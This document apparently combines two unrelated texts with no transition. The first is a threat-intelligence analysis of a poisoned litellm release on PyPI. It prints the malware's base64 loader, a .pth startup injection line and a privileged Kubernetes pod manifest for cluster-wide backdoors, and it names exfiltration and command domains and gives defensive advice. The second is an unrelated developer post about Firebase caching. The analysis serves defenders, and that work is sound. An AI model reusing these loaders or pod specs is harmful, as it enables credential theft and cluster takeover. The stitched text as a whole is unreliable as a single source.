Why This Matters

On March 24, 2026, the popular Python package litellm — a universal LLM proxy gateway used by thousands of enterprises to route traffic between applications and AI providers like OpenAI, Anthropic, Google, and AWS Bedrock — was silently compromised on PyPI. Two poisoned versions (1.82.7 and 1.82.8) were published within 13 minutes of each other, carrying a multi-stage payload that stole credentials, exfiltrated cloud secrets, spread laterally across Kubernetes clusters, and installed a persistent backdoor with remote code execution capabilities.

With approximately 3.6 million daily downloads and deep deployment across cloud-native AI infrastructure, litellm sits at the crossroads of everything modern attackers covet: API keys for every major AI provider, cloud IAM credentials, Kubernetes secrets, and SSH keys.

But the litellm compromise was not an isolated event. It was the culmination of a five-day, five-ecosystem campaign by a threat actor known as TeamPCP — a campaign that first poisoned security scanners (Aqua Trivy, Checkmarx KICS), then used the stolen CI/CD credentials to cascade downstream into npm, OpenVSX, and finally PyPI. The attackers weaponized the very tools that organizations rely on to protect their supply chains.

This attack represents a step change in supply chain threat sophistication. The multi-hop, cross-ecosystem design,compromising security tooling to reach high-value AI infrastructure, reflects a level of planning and operational maturity consistent with increasingly commoditized attack tooling. The payloads were iterated in real time (three payload variants appear in the source code, including commented-out earlier versions), the C2 infrastructure was registered the day before the attack, and the exfiltration domains were carefully chosen to mimic legitimate vendor infrastructure. The systematically comprehensive credential harvester — covering 15+ categories including niche targets like Cardano signing keys and WireGuard configs — suggests a degree of thoroughput that points toward AI-assisted malware development as a force multiplier.

Timeline

Exposure window: approximately 5.5 hours. During this time, any pip install litellm, pip install --upgrade litellm, or CI/CD pipeline pulling the latest version would have executed the payload.

How the Malware Got In: The Cascading Compromise

The litellm package was not directly breached. The attacker reached it through a two-hop supply chain attack:

Aqua Trivy GitHub Action (compromised March 19)
    --> LiteLLM CI/CD pipeline runs Trivy without pinned version
        --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
            --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM’s CI/CD pipeline used Trivy as a security scanner — the very tool designed to catch vulnerabilities was itself the attack vector. Because the pipeline referenced Trivy by mutable tag rather than a pinned commit SHA, the compromised action ran automatically. The malicious Trivy action exfiltrated environment secrets, including the PYPI_PUBLISH token, giving TeamPCP direct publishing access to the litellm PyPI project.

This “compromise the guards” strategy is a hallmark of the TeamPCP campaign. By targeting security tools first (Trivy, Checkmarx KICS), the attackers simultaneously disabled detection and gained privileged access to downstream supply chains.

Technical Analysis: The Payload

Injection Points

Version 1.82.7 — Module-level execution in litellm/proxy/proxy_server.py (line 128):

import subprocess, base64, sys, tempfile, os

b64_payload = "<~12KB base64 blob>"

with tempfile.TemporaryDirectory() as d:
    p = os.path.join(d, "p.py")
    with open(p, "wb") as f:
        f.write(base64.b64decode(b64_payload))
    subprocess.run([sys.executable, p])

This code sits at module scope between a dictionary literal and the original showwarning() function. It executes immediately when litellm.proxy.proxy_server is imported — which happens on any use of litellm’s proxy functionality.

Version 1.82.8 — Added litellm_init.pth (Python path configuration file):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)

Python .pth files in site-packages/ are processed on every interpreter startup, but only lines beginning with import are executed as code. The attacker exploits this by chaining the entire payload onto a single import statement: import os, subprocess, sys; subprocess.Popen(...). This is far more aggressive than the proxy_server.py injection — it fires even if litellm is never imported, on every Python process launch. The pyproject.toml was modified to include this file in the distribution:

include = [
    { path = "litellm_init.pth", format = ["sdist", "wheel"] }
]

Version 1.82.8 thus has two independent execution paths: the proxy_server.py injection (fires on litellm proxy import) and the .pth file (fires on any Python startup). The redundancy is itself notable — it hedges against detection or removal of either path alone. The escalation from import-time to startup-time execution just 13 minutes after 1.82.7 suggests the attacker was monitoring deployment success and rapidly iterating.

Stage 1: Comprehensive Credential Harvesting

The decoded inner script is a meticulous credential vacuum. It uses os.walk(), glob.glob(), subprocess.check_output(), and direct file reads to sweep the entire system:

The scope of this harvester is encyclopedic. It targets not just cloud credentials but also cryptocurrency wallets, database passwords, VPN configurations, and CI/CD secrets — suggesting the attacker intends to monetize compromised systems across multiple vectors.

Stage 2: Encrypted Exfiltration

Stolen data is encrypted and exfiltrated using a hybrid encryption scheme:

1. AES-256-CBC encryption of all collected data with a random 32-byte session key (via openssl enc)
2. RSA-4096 encryption of the session key using the attacker’s embedded public key (OAEP padding, via openssl pkeyutl)
3. Both ciphertext files bundled as tpcp.tar.gz (the tpcp prefix — “TeamPCP” — appears consistently across the campaign)
4. HTTPS POST to https://models.litellm.cloud/ with Content-Type: application/octet-stream

The domain models.litellm.cloud was registered on March 23 — one day before the attack — and is designed to blend with legitimate litellm infrastructure (the real project uses litellm.ai). Even a network-aware defender reviewing egress traffic might not flag traffic to what appears to be litellm’s own model endpoint.

Stage 3: Persistent Backdoor (sysmon.py)

The payload installs a polling backdoor disguised as system telemetry:

• Path: ~/.config/sysmon/sysmon.py
• Service: sysmon.service (systemd user unit, described as “System Telemetry Service”)
• Behavior: After an initial 300-second sleep, polls https://checkmarx.zone/raw every ~50 minutes
• Execution: Downloads the URL returned by the C2 to /tmp/pglog, sets it executable (chmod 755), runs it in a detached session
• State tracking: /tmp/.pg_state prevents re-downloading the same payload
• Persistence: Restart=always, RestartSec=10 — survives crashes and reboots

The domain checkmarx.zone is a typosquat of Checkmarx (the security company at checkmarx.com), designed so that SOC analysts reviewing network logs would see traffic to what appears to be a legitimate security vendor. This is a deliberate evasion technique consistent with TeamPCP’s broader strategy of hiding behind security vendor branding.

Stage 3b: Kubernetes Lateral Movement

If the compromised system has Kubernetes service account credentials, the malware enumerates all cluster nodes and deploys privileged pods to each one:

pod_manifest = {
    'apiVersion': 'v1', 'kind': 'Pod',
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,
        'hostPID': True, 'hostNetwork': True,
        'tolerations': [{'operator': 'Exists'}],
        'containers': [{
            'name': 'setup',
            'image': 'alpine:latest',
            'command': ['sh', '-c', drop_cmd],
            'securityContext': {'privileged': True},
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
        'restartPolicy': 'Never'
    }
}

Each pod:

• Runs as privileged with hostPID, hostNetwork, and full host filesystem access
• Uses chroot /host to install the same sysmon.py backdoor on the host’s root filesystem
• Registers it as a systemd service, ensuring persistence survives pod deletion
• Named node-setup-* in the kube-system namespace to appear as legitimate cluster infrastructure

This means a single compromised CI/CD runner with K8s access could result in every node in the cluster being backdoored — a catastrophic lateral movement scenario for organizations running litellm as a proxy in Kubernetes.

Payload Evolution (Commented-Out Variants)

The source code at lines 131-132 contains two commented-out earlier payload variants, revealing the attacker’s development process:

• All three variants share the same exfiltration infrastructure (models.litellm.cloud), RSA-4096 public key, AES-256-CBC + RSA hybrid encryption wrapper, and tpcp.tar.gz bundle naming
• Earlier variants added an RC4 encryption layer inside the data collection script, encrypting harvested data before the outer AES+RSA wrapper. The active payload (line 130) simplified by removing this inner RC4 layer
• The earlier variants use exec() with StringIO capture to run the collector in-process, while the active payload uses subprocess.run() with stdout redirect — a cleaner separation that avoids polluting the host process
• All three variants target the same credential categories and collection paths
• The RC4 key in the earlier variants was a provocative slur, consistent with the actor’s attention-seeking behavior on Telegram

This reveals active development during the operation. The attacker simplified the encryption stack and improved execution isolation while keeping the collection targets and exfiltration infrastructure stable.

Indicators of Compromise (IOCs)

Network

Note: External reporting links checkmarx.zone/static/checkmarx-util-1.0.4.tgz to the earlier KICS phase of the TeamPCP campaign. This URL was not found in the litellm payloads analyzed here.

Package Hashes

File System

Kubernetes

Cryptographic

Attribution: TeamPCP

The threat actor behind this campaign is tracked as TeamPCP, also known as PCPcat, Persy_PCP, ShellForce, and DeadCatx3.

Known characteristics:

• Maintains Telegram channels at @Persy_PCP and @teampcp where they taunted security companies
• Operates across multiple ecosystems (GitHub Actions, PyPI, npm, OpenVSX)
• Uses vendor-specific typosquat domains for each phase of the campaign (e.g., checkmarx.zone for Checkmarx, models.litellm.cloud for litellm)
• Consistent infrastructure markers: same RSA key pair, tpcp.tar.gz naming convention, tpcp-docs-* GitHub repositories used as dead-drop staging
• Targets security tools as entry points to downstream supply chains

Attribution confidence: High. The shared RSA public key, tpcp artifact naming, C2 infrastructure overlap, and operational tempo across the five-day campaign strongly link the Trivy, KICS, npm, OpenVSX, and litellm compromises to the same actor.

Motivation: Likely financial (crypto wallet theft, cloud credential monetization) combined with notoriety (Telegram taunting). The breadth of credential harvesting — from AWS IAM to Solana validator keypairs to WireGuard configs — suggests a financially motivated actor seeking to maximize ROI from each compromise.

Possible AI assistance: The credential harvester is systematically comprehensive — 15+ categories including niche targets like Cardano signing keys, WireGuard configs, and Kaniko Docker credentials — in a way that is consistent with AI-assisted enumeration. The speed of payload iteration (three variants with different encryption schemes), cross-ecosystem coordination (5 ecosystems in 5 days), and operational OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence disguised as telemetry) suggest a level of throughput that may reflect AI-assisted development as a force multiplier. This assessment is speculative; skilled operators could achieve similar scope without AI tooling.

New TTPs and Techniques

1. Security Tool Supply Chain Poisoning (T1195.002 variant)

Compromising security scanners (Trivy, KICS) as a first-hop to reach downstream targets is a new escalation. The attacker didn’t just compromise a library — they compromised the tools organizations use to detect compromised libraries. This creates a blind spot: the scanner that should catch the malicious code is itself the delivery mechanism.

2. Python .pth File Persistence (T1546)

The litellm_init.pth technique in v1.82.8 is particularly insidious. Python .pth files in site-packages/ are processed on every interpreter startup; any line beginning with import is executed as code. By chaining the payload onto a single import statement, the attacker achieves execution on every Python process — not just when litellm is imported. This means the payload fires even if litellm is installed but never used, and it survives remediation that replaces compromised .py files without checking for .pth files.

3. Kubernetes Cluster-Wide Lateral Movement via Privileged Pod Deployment (T1610, T1611)

The automated creation of privileged pods on every cluster node — with hostPID, hostNetwork, host filesystem mount, and chroot to install persistence — chains container deployment (T1610) with escape to host (T1611) to turn a single compromised workload into full cluster compromise.

4. Vendor-Impersonating C2 Infrastructure

Using models.litellm.cloud (mimics litellm) and checkmarx.zone (mimics Checkmarx) as C2/exfil endpoints is designed to evade network monitoring. SOC analysts reviewing egress traffic would see HTTPS connections to what appear to be legitimate vendor domains.

5. Rapid In-Flight Payload Iteration

Publishing v1.82.7 with import-time execution, then v1.82.8 with startup-time execution 13 minutes later, shows the attacker monitoring and adapting in real time. The commented-out payload variants (with different encryption schemes) preserved in the source code confirm active development during the operation.

What Can Be Done

This attack exploits trust at every layer: trust in security tools, trust in package registries, trust in familiar-looking domains, trust in CI/CD automation. Defending against it requires hardening each of these trust boundaries:

For Package Consumers

• Pin dependencies by hash, not just version. pip install litellm==1.82.6 --hash=sha256:... would have prevented the compromised versions from being installed even if they briefly appeared as the latest version.
• Use lockfiles. pip-compile, poetry.lock, and uv.lock capture exact versions and hashes. CI/CD should install from lockfiles, not from floating version specifiers.
• Monitor for .pth files. Regularly audit site-packages/ for unexpected .pth files — they execute on every Python startup and are an underappreciated persistence mechanism.
• Implement egress network controls. The exfiltration to models.litellm.cloud and C2 polling to checkmarx.zone could have been caught by allowlist-based egress filtering in production environments.

For Package Maintainers

• Pin CI/CD actions by commit SHA, not tag. LiteLLM’s pipeline used Trivy without a pinned version. If it had referenced aquasecurity/trivy-action@<commit-sha> instead of @latest, the compromised action would not have executed.
• Use short-lived, scoped publishing tokens. PyPI supports Trusted Publishers (OIDC-based) and scoped API tokens. The exfiltrated PYPI_PUBLISH token should not have had long-lived, unrestricted publishing access.
• Enable two-factor authentication on PyPI. Require 2FA for all maintainers and use hardware security keys where possible.
• Sign packages. Sigstore/PEP 740 attestations allow consumers to verify that a package was built by the expected CI/CD pipeline, not by an attacker with a stolen token.

For Platform Operators (PyPI, npm, GitHub)

• Detect anomalous publishing patterns. Two new versions published 13 minutes apart, from a different IP or token than usual, should trigger hold-for-review or automated scanning before the package becomes installable.
• Accelerate Trusted Publishers adoption. OIDC-based publishing ties packages to specific repositories and workflows, making stolen tokens useless outside the original CI/CD context.
• Implement publish-time malware scanning. The base64-decoded payload in proxy_server.py would be detectable by static analysis at publish time.

For the Ecosystem

• Treat security tools as critical infrastructure. Trivy and Checkmarx KICS are used by millions of pipelines. Their GitHub Actions should be signed, pinned, and monitored with the same rigor as the packages they scan.
• Invest in runtime detection. Static analysis alone cannot catch every obfuscation technique. Runtime monitoring of package install hooks, unexpected network connections, and suspicious file access patterns provides defense in depth.
• Share threat intelligence faster. The 5.5-hour exposure window for litellm could have been shorter with faster cross-vendor coordination. Automated scanning services like Xygeni MEW, Socket, and Snyk detected the anomaly — the bottleneck is human confirmation and registry response time.

Conclusion

The TeamPCP campaign is a watershed moment for software supply chain security. By compromising security scanners first and using them as stepping stones to high-value AI infrastructure, the attackers demonstrated that the supply chain is only as strong as its weakest transitive dependency — and that dependency might be the security tool you trust to keep you safe.

The litellm compromise specifically highlights the growing risk to AI infrastructure. As LLM proxy gateways become the standard pattern for enterprise AI deployment, they concentrate access to API keys, cloud credentials, and sensitive data in a single component. Compromising that component is a skeleton key to the entire AI stack.

Organizations that installed litellm 1.82.7 or 1.82.8 during the 5.5-hour window should treat this as a full credential compromise: rotate all secrets on affected systems, audit Kubernetes clusters for node-setup-* pods in kube-system, remove any sysmon.service systemd units, and check for litellm_init.pth in Python site-packages/ directories. Users of the official Docker image (ghcr.io/berriai/litellm) were not affected, as the image pinned its dependencies and was not rebuilt during the exposure window.

The Problem

When Muslifie launched, tour listing pages were taking 2–5 seconds to load. Users on slower connections in Pakistan, Egypt, and Indonesia were bouncing before the data even appeared.

The culprit? Every time a user opened the app, Firebase was running fresh Firestore queries — no caching, no batching, just raw reads on every open.

At 200+ guide profiles and growing, this was getting expensive and slow.

What I Tried First (That Failed)

My first instinct was client-side caching with Flutter’s built-in Firestore persistence. It helped a little, but:

• First load was still slow
• Data was stale on reinstall
• No control over cache invalidation

Not good enough for a marketplace where guide availability changes daily.

The Real Fix — Cloud Functions Caching

The solution was moving the heavy lifting to Firebase Cloud Functions with in-memory caching.

Here’s the pattern:

let cachedData = null;
let cacheTime = null;
const CACHE_TTL = 5 * 60 * 1000; // 5 minutes

exports.getTours = functions.https.onCall(async (data, context) => {
  const now = Date.now();

  // Return cache if still fresh
  if (cachedData && (now - cacheTime) < CACHE_TTL) {
    return cachedData;
  }

  // Fetch fresh data
  const snapshot = await db.collection('tours')
    .where('status', '==', 'active')
    .limit(50)
    .get();

  cachedData = snapshot.docs.map(doc => ({ id: doc.id, ...doc.data() }));
  cacheTime = now;

  return cachedData;
});

The key insight: Cloud Function instances stay warm between calls. So the cache lives in memory as long as the instance is alive — usually 15–30 minutes.

Results

The first user to hit the function after a cold start waits ~400ms. Every user after that gets cached data in under 100ms.

Flutter Side — Skeleton Loaders

The performance fix only works if users don’t stare at a blank screen during that first cold start. I paired it with skeleton loaders in Flutter:

Widget build(BuildContext context) {
  return FutureBuilder<List<Tour>>(
    future: fetchTours(),
    builder: (context, snapshot) {
      if (!snapshot.hasData) {
        return TourSkeletonList(); // Show skeleton while loading
      }
      return TourList(tours: snapshot.data!);
    },
  );
}

Perceived performance matters as much as actual performance. Users tolerate loading if they can see something happening.

What I’d Do Differently

If I were building Muslifie today, I’d add:

1. Redis caching via Firebase Extensions for multi-instance cache sharing
2. Incremental loading — show top 10 tours instantly, load the rest in background
3. Prefetch on app launch — start fetching data the moment the app opens, before the user even navigates

Key Takeaway

Don’t optimize early — but do profile before you assume. The bottleneck wasn’t the Flutter widgets or network speed. It was unnecessary Firestore reads that a 20-line caching function completely solved.

If your app feels slow, add logging to every data fetch and look at where time is actually being spent. The answer is usually simpler than you think.

Originally published at buildzn.com